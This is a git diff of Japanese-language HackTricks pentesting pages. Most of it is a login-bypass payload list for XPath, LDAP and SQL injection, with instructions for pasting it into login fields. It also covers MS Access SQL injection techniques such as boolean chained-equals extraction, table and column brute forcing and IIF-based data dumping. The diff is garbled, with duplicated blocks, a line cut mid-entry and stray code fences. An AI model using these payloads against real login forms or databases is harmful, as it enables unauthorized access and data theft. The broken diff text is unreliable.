<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法:
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* **HackTricks**のPRを[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリに提出して、あなたのハッキングのコツを共有してください。
</details>

View file

@ -1,23 +1,21 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい場合**や**HackTricksをPDFでダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください。
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**テレグラムグループ**](https://t.me/peass)に**参加する**か、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)で**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
このリストには**XPath、LDAP、およびSQLインジェクションを介してログインをバイパスするためのペイロード**が含まれています(この順序で)
このリストには**XPath、LDAP、SQLインジェクションを介してログインをバイパスするためのペイロードが含まれています**(その順番で)
このリストを使用する方法は、**最初の200行をユーザー名とパスワードとして**入力します。次に、完全なリストをユーザー名の入力欄に、その後パスワードの入力欄に入力しますが、パスワードには_Pass1234._のようなもの、または既知のユーザー名_admin_のようなもの)を入力します。
このリストの使用方法は、**最初の200行をユーザー名とパスワードとして入力することです。** その後、完全なリストを最初にユーザー名に、次にパスワード入力に入れ、いくつかのパスワード_Pass1234._のようなまたは既知のユーザー名_admin_のようなを入力します。
```
admin
password
@ -248,237 +246,237 @@ admin' and substring(password/text(),1,1)='7
'='
0'&lt;'2
"="
## SQL ログインバイパス
以下は、SQL ログインバイパスのテクニックです。
- `'0"<"2`
- `')`
- `")`
- `')-- 2`
- `')/*`
- `')#`
- `")-- 2`
- `") #`
- `")/*`
- `')-('`
- `')&('`
- `')^('`
- `')*('`
- `')=('`
- `'0')<('2`
- `")-("`
- `")&("`
- `")^("`
- `")*("`
- `")=("`
- `0")<("2`
- `'-''-- 2`
- `'-''#`
- `'-''/*`
- `'&''-- 2`
- `'&''#`
- `'&''/*`
- `'^''-- 2`
- `'^''#`
- `'^''/*`
- `'*''-- 2`
- `'*''#`
- `'*''/*`
- `''=''-- 2`
- `''=''#`
- `''=''/*`
- `0'<('2'-- 2`
- `0'<('2'#`
- `0'<('2'/*`
- `"-""-- 2`
- `"-""#`
- `"-""/*`
- `"&""-- 2`
- `"&""#`
- `"&""/*`
- `"^""-- 2`
- `"^""#`
- `"^""/*`
- `"*""-- 2`
- `"*""#`
- `"*""/*`
- `""=""-- 2`
- `""=""#`
- `""=""/*`
- `0"<"2"-- 2`
- `0"<"2"#`
- `0"<"2"/*`
- `')-''-- 2`
- `')-''#`
- `')-''/*`
- `')&''-- 2`
- `')&''#`
- `')&''/*`
- `')^''-- 2`
- `')^''#`
- `')^''/*`
- `')*''-- 2`
- `')*''#`
- `')*''/*`
- `')=''-- 2`
- `')=''#`
- `')=''/*`
- `0')<('2'-- 2`
- `0')<('2'#`
- `0')<('2'/*`
- `")-""-- 2`
- `")-""#`
- `")-""/*`
- `")&""-- 2`
- `")&""#`
- `")&""/*`
- `")^""-- 2`
- `")^""#`
- `")^""/*`
- `")*""-- 2`
- `")*""#`
- `")*""/*`
- `")=""-- 2`
- `")=""#`
- `")=""/*`
- `0")<("2-- 2`
- `0")<("2#`
- `0")<("2/*`
- `'oR'2`
- `'oR'2'-- 2`
- `'oR'2'#`
- `'oR'2'/*`
- `'oR'2'oR'`
- `'oR(2)-- 2`
- `'oR(2)#`
- `'oR(2)/*`
- `'oR(2)oR'`
- `'oR 2-- 2`
- `'oR 2#`
- `'oR 2/*`
- `'oR 2 oR'`
- `'oR/**/2-- 2`
- `'oR/**/2#`
- `'oR/**/2/*`
- `'oR/**/2/**/oR'`
- `"oR"2`
- `"oR"2"-- 2`
- `"oR"2"#`
- `"oR"2"/*`
- `"oR"2"oR"`
- `"oR(2)-- 2`
- `"oR(2)#`
- `"oR(2)/*`
- `"oR(2)oR"`
- `"oR 2-- 2`
- `"oR 2#`
- `"oR 2/*`
- `"oR 2 oR"`
- `"oR/**/2-- 2`
- `"oR/**/2#`
- `"oR/**/2/*`
- `"oR/**/2/**/oR"`
- `'oR'2'='2`
- `'oR'2'='2'oR'`
- `'oR'2'='2'-- 2`
- `'oR'2'='2'#`
- `'oR'2'='2'/*`
- `'oR 2=2-- 2`
- `'oR 2=2#`
- `'oR 2=2/*`
- `'oR 2=2 oR'`
- `'oR/**/2=2-- 2`
- `'oR/**/2=2#`
- `'oR/**/2=2/*`
- `'oR/**/2=2/**/oR'`
- `'oR(2)=2-- 2`
- `'oR(2)=2#`
- `'oR(2)=2/*`
- `'oR(2)=(2)oR'`
- `'oR'2'='2' LimIT 1-- 2`
- `'oR'2'='2' LimIT 1#`
- `'oR'2'='2' LimIT 1/*`
- `'oR(2)=(2)LimIT(1)-- 2`
- `'oR(2)=(2)LimIT(1)#`
- `'oR(2)=(2)LimIT(1)/*`
- `"oR"2"="2`
- `"oR"2"="2"oR"`
- `"oR"2"="2"-- 2`
- `"oR"2"="2"#`
- `"oR"2"="2"/*`
- `"oR 2=2-- 2`
- `"oR 2=2#`
- `"oR 2=2/*`
- `"oR 2=2 oR"`
- `"oR/**/2=2-- 2`
- `"oR/**/2=2#`
- `"oR/**/2=2/*`
- `"oR/**/2=2/**/oR"`
- `"oR(2)=2-- 2`
- `"oR(2)=2#`
- `"oR(2)=2/*`
- `"oR(2)=(2)oR"`
- `"oR"2"="2" LimIT 1-- 2`
- `"oR"2"="2" LimIT 1#`
- `"oR"2"="2" LimIT 1/*`
- `"oR(2)=(2)LimIT(1)-- 2`
- `"oR(2)=(2)LimIT(1)#`
- `"oR(2)=(2)LimIT(1)/*`
- `'oR true-- 2`
- `'oR true#`
- `'oR true/*`
- `'oR true oR'`
- `'oR(true)-- 2`
- `'oR(true)#`
- `'oR(true)/*`
- `'oR(true)oR'`
- `'oR/**/true-- 2`
- `'oR/**/true#`
- `'oR/**/true/*`
- `'oR/**/true/**/oR'`
- `"oR true-- 2`
- `"oR true#`
- `"oR true/*`
- `"oR true oR"`
- `"oR(true)-- 2`
- `"oR(true)#`
- `"oR(true)/*`
- `"oR(true)oR"`
- `"oR/**/true-- 2`
- `"oR/**/true#`
- `"oR/**/true/*`
- `"oR/**/true/**/oR'`
- `'oR'2'LiKE'2`
- `'oR'2'LiKE'2'-- 2`
- `'oR'2'LiKE'2'#`
- `'oR'2'LiKE'2'/*`
- `'oR'2'LiKE'2'oR'`
- `'oR(2)LiKE(2)-- 2`
- `'oR(2)LiKE(2)#`
- `'oR(2)LiKE(2)/*`
- `'oR(2)LiKE(2)oR'`
- `"oR"2"LiKE"2`
- `"oR"2"LiKE"2"-- 2`
- `"oR"2"LiKE"2"#`
- `"oR"2"LiKE"2"/*`
- `"oR"2"LiKE"2"oR"`
- `"oR(2)LiKE(2)-- 2`
- `"oR(2)LiKE(2)#`
- `"oR(2)LiKE(2)/*`
- `"oR(2)LiKE(2)oR"`
- `admin`
- `admin'-- 2`
- `admin'#`
- `admin"-- 2`
- `admin"#`
- `ffifdyop`
- `'UniON SElecT 1,2-- 2`
- `'UniON SElecT 1,2,3-- 2`
- `'UniON SElecT 1,2,3,4-- 2`
- `'UniON SElecT 1,2,3,4,5-- 2`
- `'UniON SElecT 1,2#`
- `'UniON SElecT 1,
0"&lt;"2
')
")
')-- 2
')/*
')#
")-- 2
") #
")/*
')-('
')&('
')^('
')*('
')=('
0')&lt;('2
")-("
")&("
")^("
")*("
")=("
0")&lt;("2
'-''-- 2
'-''#
'-''/*
'&''-- 2
'&''#
'&''/*
'^''-- 2
'^''#
'^''/*
'*''-- 2
'*''#
'*''/*
'=''-- 2
'=''#
'=''/*
0'&lt;'2'-- 2
0'&lt;'2'#
0'&lt;'2'/*
"-""-- 2
"-""#
"-""/*
"&""-- 2
"&""#
"&""/*
"^""-- 2
"^""#
"^""/*
"*""-- 2
"*""#
"*""/*
"=""-- 2
"=""#
"=""/*
0"&lt;"2"-- 2
0"&lt;"2"#
0"&lt;"2"/*
')-''-- 2
')-''#
')-''/*
')&''-- 2
')&''#
')&''/*
')^''-- 2
')^''#
')^''/*
')*''-- 2
')*''#
')*''/*
')=''-- 2
')=''#
')=''/*
0')&lt;'2'-- 2
0')&lt;'2'#
0')&lt;'2'/*
")-""-- 2
")-""#
")-""/*
")&""-- 2
")&""#
")&""/*
")^""-- 2
")^""#
")^""/*
")*""-- 2
")*""#
")*""/*
")=""-- 2
")=""#
")=""/*
0")&lt;"2-- 2
0")&lt;"2#
0")&lt;"2/*
'oR'2
'oR'2'-- 2
'oR'2'#
'oR'2'/*
'oR'2'oR'
'oR(2)-- 2
'oR(2)#
'oR(2)/*
'oR(2)oR'
'oR 2-- 2
'oR 2#
'oR 2/*
'oR 2 oR'
'oR/**/2-- 2
'oR/**/2#
'oR/**/2/*
'oR/**/2/**/oR'
"oR"2
"oR"2"-- 2
"oR"2"#
"oR"2"/*
"oR"2"oR"
"oR(2)-- 2
"oR(2)#
"oR(2)/*
"oR(2)oR"
"oR 2-- 2
"oR 2#
"oR 2/*
"oR 2 oR"
"oR/**/2-- 2
"oR/**/2#
"oR/**/2/*
"oR/**/2/**/oR"
'oR'2'='2
'oR'2'='2'oR'
'oR'2'='2'-- 2
'oR'2'='2'#
'oR'2'='2'/*
'oR 2=2-- 2
'oR 2=2#
'oR 2=2/*
'oR 2=2 oR'
'oR/**/2=2-- 2
'oR/**/2=2#
'oR/**/2=2/*
'oR/**/2=2/**/oR'
'oR(2)=2-- 2
'oR(2)=2#
'oR(2)=2/*
'oR(2)=(2)oR'
'oR'2'='2' LimIT 1-- 2
'oR'2'='2' LimIT 1#
'oR'2'='2' LimIT 1/*
'oR(2)=(2)LimIT(1)-- 2
'oR(2)=(2)LimIT(1)#
'oR(2)=(2)LimIT(1)/*
"oR"2"="2
"oR"2"="2"oR"
"oR"2"="2"-- 2
"oR"2"="2"#
"oR"2"="2"/*
"oR 2=2-- 2
"oR 2=2#
"oR 2=2/*
"oR 2=2 oR"
"oR/**/2=2-- 2
"oR/**/2=2#
"oR/**/2=2/*
"oR/**/2=2/**/oR"
"oR(2)=2-- 2
"oR(2)=2#
"oR(2)=2/*
"oR(2)=(2)oR"
"oR"2"="2" LimIT 1-- 2
"oR"2"="2" LimIT 1#
"oR"2"="2" LimIT 1/*
"oR(2)=(2)LimIT(1)-- 2
"oR(2)=(2)LimIT(1)#
"oR(2)=(2)LimIT(1)/*
'oR true-- 2
'oR true#
'oR true/*
'oR true oR'
'oR(true)-- 2
'oR(true)#
'oR(true)/*
'oR(true)oR'
'oR/**/true-- 2
'oR/**/true#
'oR/**/true/*
'oR/**/true/**/oR'
"oR true-- 2
"oR true#
"oR true/*
"oR true oR"
"oR(true)-- 2
"oR(true)#
"oR(true)/*
"oR(true)oR"
"oR/**/true-- 2
"oR/**/true#
"oR/**/true/*
"oR/**/true/**/oR"
'oR'2'LiKE'2
'oR'2'LiKE'2'-- 2
'oR'2'LiKE'2'#
'oR'2'LiKE'2'/*
'oR'2'LiKE'2'oR'
'oR(2)LiKE(2)-- 2
'oR(2)LiKE(2)#
'oR(2)LiKE(2)/*
'oR(2)LiKE(2)oR'
"oR"2"LiKE"2
"oR"2"LiKE"2"-- 2
"oR"2"LiKE"2"#
"oR"2"LiKE"2"/*
"oR"2"LiKE"2"oR"
"oR(2)LiKE(2)-- 2
"oR(2)LiKE(2)#
"oR(2)LiKE(2)/*
"oR(2)LiKE(2)oR"
admin
admin'-- 2
admin'#
admin"-- 2
admin"#
ffifdyop
' UniON SElecT 1,2-- 2
' UniON SElecT 1,2,3-- 2
' UniON SElecT 1,2,3,4-- 2
' UniON SElecT 1,2,3,4,5-- 2
' UniON SElecT 1,2#
' UniON SElecT 1,2,3#
' UniON SElecT 1,2,3,4#
' UniON SElecT 1,2,3,4,5#
'UniON(SElecT(1),2)-- 2
'UniON(SElecT(1),2,3)-- 2
'UniON(SElecT(1),2,3,4)-- 2
'UniON(SElecT(1),2,3,4,5)-- 2
'UniON(SElecT(1),2)#
@ -659,7 +657,6 @@ admin' and substring(password/text(),1,1)='7
")oR(true)oR("
")oR/**/true-- 2
")oR/**/true#
```markdown
")oR/**/true/*
")oR/**/true/**/oR("
')oR'2'LiKE('2
@ -772,6 +769,7 @@ admin")#
")||(2)LiKE(2)-- 2
")||(2)LiKE(2)#
")||(2)LiKE(2)/*
")||(2)LiKE(2)||("
' UnION SELeCT 1,2`
' UnION SELeCT 1,2,3`
' UnION SELeCT 1,2,3,4`
@ -795,47 +793,6 @@ Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658
Pass1234." AND 1=0 UniON SeleCT "admin", "fe1ff105bf807478a217ad4e378dc658"#
Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.
Pass1234." AND 1=0 UniON ALL SeleCT "admin", md5("Pass1234.")#
```
```html
")oR/**/true/*
")oR/**/true/**/oR("
')oR'2'LiKE('2
')oR'2'LiKE'2'-- 2
')oR'2'LiKE'2'#
')oR'2'LiKE'2'/*
')oR'2'LiKE'2'oR('
')oR(2)LiKE(2)-- 2
')oR(2)LiKE(2)#
')oR(2)LiKE(2)/*
')oR(2)LiKE(2)oR('
")oR"2"LiKE("2
")oR"2"LiKE"2"-- 2
")oR"2"LiKE"2"#
")oR"2"LiKE"2"/*
")oR"2"LiKE"2"oR("
")oR(2)LiKE(2)-- 2
")oR(2)LiKE(2)#
")oR(2)LiKE(2)/*
")oR(2)LiKE(2)oR("
admin')-- 2
admin')#
admin')/*
admin")-- 2
admin")#
') UniON SElecT 1,2-- 2
') UniON SElecT 1,2,3-- 2
') UniON SElecT 1,2,3,4-- 2
') UniON SElecT 1,2,3,4,5-- 2
') UniON SElecT 1,2#
') UniON SElecT 1,2,3#
') UniON SElecT 1,2,3,4#
') UniON SElecT 1,2,3,4,5#
')UniON(SElecT(1),2)-- 2
')UniON(SElecT(1),2,3)-- 2
')UniON(SElecT(1),2,3,4)-- 2
')UniON(SElecT(1),2,3,4,5)-- 2
')UniON(SE
Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61
Pass1234." AND 1=0 UniON SeleCT "admin", "5b19a9e947ca0fee49995f2a8b359e1392adbb61"#
Pass1234." and 1=0 union select "admin",sha("Pass1234.
@ -867,16 +824,14 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加する**、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングのコツを**共有する**。
</details>

File diff suppressed because one or more lines are too long

View file

@ -2,17 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>AWSハッキングをゼロからヒーローまで学ぶには</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>をチェック!</strong></summary>
- **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
HackTricksをサポートする他の方法:
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
- [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* **HackTricksにあなたの会社を広告したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASS & HackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをチェックする
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に**参加する**か、[**テレグラムグループ**](https://t.me/peass)に参加する、または**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)を**フォローする**。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
</details>
@ -20,95 +18,91 @@
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
## DBの制限事項
## DBの制限
### 文字列の連結
文字列の連結は、`& (%26)`と`+ (%2b)`の文字で可能です。
文字列の連結は `& (%26)``+ (%2b)` の文字で可能です。
```sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00
```
### コメント
MS Accessにはコメントがありませんが、NULL文字を使用してクエリの最後を削除することができるようです。
MS Accessにはコメントが存在しませんが、クエリの最後をNULL文字で削除することが可能だと言われています:
```sql
1' union select 1,2 from table%00
```
もし動作しない場合は、クエリの構文を修正することもできます。
If this is not working you could always fix the syntax of the query:
もしこれがうまくいかない場合は、常にクエリの構文を修正することができます:
```sql
1' UNION SELECT 1,2 FROM table WHERE ''='
```
### スタックされたクエリ
### スタッククエリ
サポートされていません。
### LIMIT
**`LIMIT`**演算子は**実装されていません**。ただし、`TOP`演算子を使用してSELECTクエリの結果を最初のN行に制限することができます。`TOP`は引数として、返される行数を表す整数を受け入れます。
**`LIMIT`** 演算子は**実装されていません**。しかし、`TOP` 演算子を使用して、SELECT クエリの結果を**最初の N 行に限定することが可能です**。`TOP` は引数として整数を受け取り、返される行数を表します。
```sql
1' UNION SELECT TOP 3 attr FROM table%00
```
TOPと同様に、**`LAST`**を使用することができます。これにより、**末尾からの行**を取得できます。
**`LAST`** を使用すると、**最後からの行**を取得できます。
## UNIONクエリ/サブクエリ
## UNION クエリ/サブクエリ
SQLiでは通常、他のテーブルから情報を抽出するために新しいクエリをいかに実行するかを考える必要があります。MS Accessでは、**サブクエリや追加のクエリでは`FROM`が指定されている必要があります**。\
したがって、`UNION SELECT`または`UNION ALL SELECT`または条件内のカッコ内の`SELECT`を実行したい場合は、常に**有効なテーブル名を指定する必要があります**。\
したがって、**有効なテーブル名**を知る必要があります。
SQLiでは通常、他のテーブルから情報を抽出するために新しいクエリを実行したいと思います。MS Accessでは、**サブクエリや追加のクエリでは `FROM` が指定されている必要があります**。\
したがって、`UNION SELECT``UNION ALL SELECT`、条件内の括弧で囲まれた `SELECT` を実行する場合、常に **有効なテーブル名を伴う `FROM` を指定する必要があります**。\
って、**有効なテーブル名**を知る必要があります。
```sql
-1' UNION SELECT username,password from users%00
```
### チェーンの等号 + サブストリング
### チェーンイコール + サブストリング
{% hint style="warning" %}
これにより、テーブルの名前を知る必要なく、現在のテーブルの値を外部に漏洩させることができます。
これにより、テーブルの名前を知らなくても、現在のテーブルの値を抽出することができます。
{% endhint %}
**MS Access**は、**`'1'=2='3'='asd'=false`**のような**奇妙な構文**を許可します。通常、SQLインジェクションは**`WHERE`**句の中にあるため、これを悪用することができます。
**MS Access** では **`'1'=2='3'='asd'=false`** のような**奇妙な構文**が許可されています。通常、SQLインジェクションは **`WHERE`** 句の中にあるため、これを悪用することができます。
MS AccessデータベースでSQLiがあるとしましょう。そして、**列名がusername**であることを知っている(または推測している)場合、チェーンの等号テクニックが使用されたときのウェブアプリの異なる応答をチェックし、**`Mid`**関数を使用してサブストリングを取得することで、コンテンツを外部に漏洩させることができます。
MS AccessデータベースでSQLiがあり、**カラム名がusernameである**と知っているまたは推測している場合、チェーンイコール技術を使用したときのWebアプリの異なるレスポンスを確認し、**`Mid`** 関数を使用してサブストリングを取得することで、**ブール型インジェクション**を使用して内容を抽出することができます。
```sql
'=(Mid(username,1,3)='adm')='
```
もしテーブルの名前とダンプするカラムが分かっている場合、`Mid`、`LAST`、`TOP`の組み合わせを使用して、ブール型のSQLiを介してすべての情報を**漏洩**させることができます。
テーブルの**名前**とダンプする**列**を知っている場合、`Mid`、`LAST`、`TOP`を組み合わせてブール型SQLiを介して**すべての情報を漏洩**させることができます:
```sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
```
_オンラインプレイグラウンドで確認してください。_
_Feel free to check this in the online playground._
### テーブル名のブルートフォース攻撃
### テーブル名のブルートフォース
チェーンイコールテクニックを使用して、次のような方法で**テーブル名をブルートフォース攻撃**することもできます。
チェーンイコールズ技術を使用して、以下のように**テーブル名をブルートフォース**することもできます:
```sql
'=(select+top+1+'lala'+from+<table_name>)='
```
より伝統的な方法も使用することができます。
伝統的な方法も利用できます:
```sql
-1' AND (SELECT TOP 1 <table_name>)%00
```
_オンラインプレイグラウンドでこれを確認してください。_
オンラインプレイグラウンドで自由にチェックしてください。
* Sqlmap一般的なテーブル名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* 別のリストは[http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)にあります
* Sqlmap 一般的なテーブル名: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
* 別のリストはこちらにあります [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
### カラム名のブルートフォース攻撃
### 列名のブルートフォース
現在のカラム名を**チェインイコールトリック**を使用してブルートフォース攻撃することができます。
現在の列名を**ブルートフォース**することができます。チェーンイコールのトリックを使って:
```sql
'=column_name='
```
または、**group by** を使用して:
または、**group by**を使用して:
```sql
-1' GROUP BY column_name%00
```
または、次のコードを使用して、**別のテーブル**の列名をブルートフォースで特定することもできます。
```sql
SELECT column_name FROM information_schema.columns WHERE table_name = 'table_name'
```
このクエリでは、`table_name`の部分を特定のテーブル名に置き換える必要があります。
または、以下の方法で**別のテーブル**の列名をブルートフォースできます:
```sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='
@ -116,28 +110,28 @@ SELECT column_name FROM information_schema.columns WHERE table_name = 'table_nam
```
### データのダンプ
既に[**チェーンイコールテクニック**](ms-access-sql-injection.md#chaining-equals-+-substring)について**現在のテーブルや他のテーブルからデータをダンプする**方法について説明しました。しかし、他の方法もあります:
既に[**チェーンイコールズ技術**](ms-access-sql-injection.md#chaining-equals-+-substring)について説明しました。これは**現在および他のテーブルからデータをダンプするために使用します**。しかし、他にも方法があります:
```sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
```
するに、このクエリは「if-then」ステートメントを使用して、成功した場合に「200 OK」をトリガーし、それ以外の場合は「500 Internal Error」をトリガーします。TOP 10演算子を利用することで、最初の10件の結果を選択することができます。その後、LASTの使用により、10番目のタプルのみを考慮することができます。その値を使用して、MID演算子を使用して単純な文字の比較を行うことができます。MIDとTOPのインデックスを適切に変更することで、すべての行の「username」フィールドの内容をダンプすることができます。
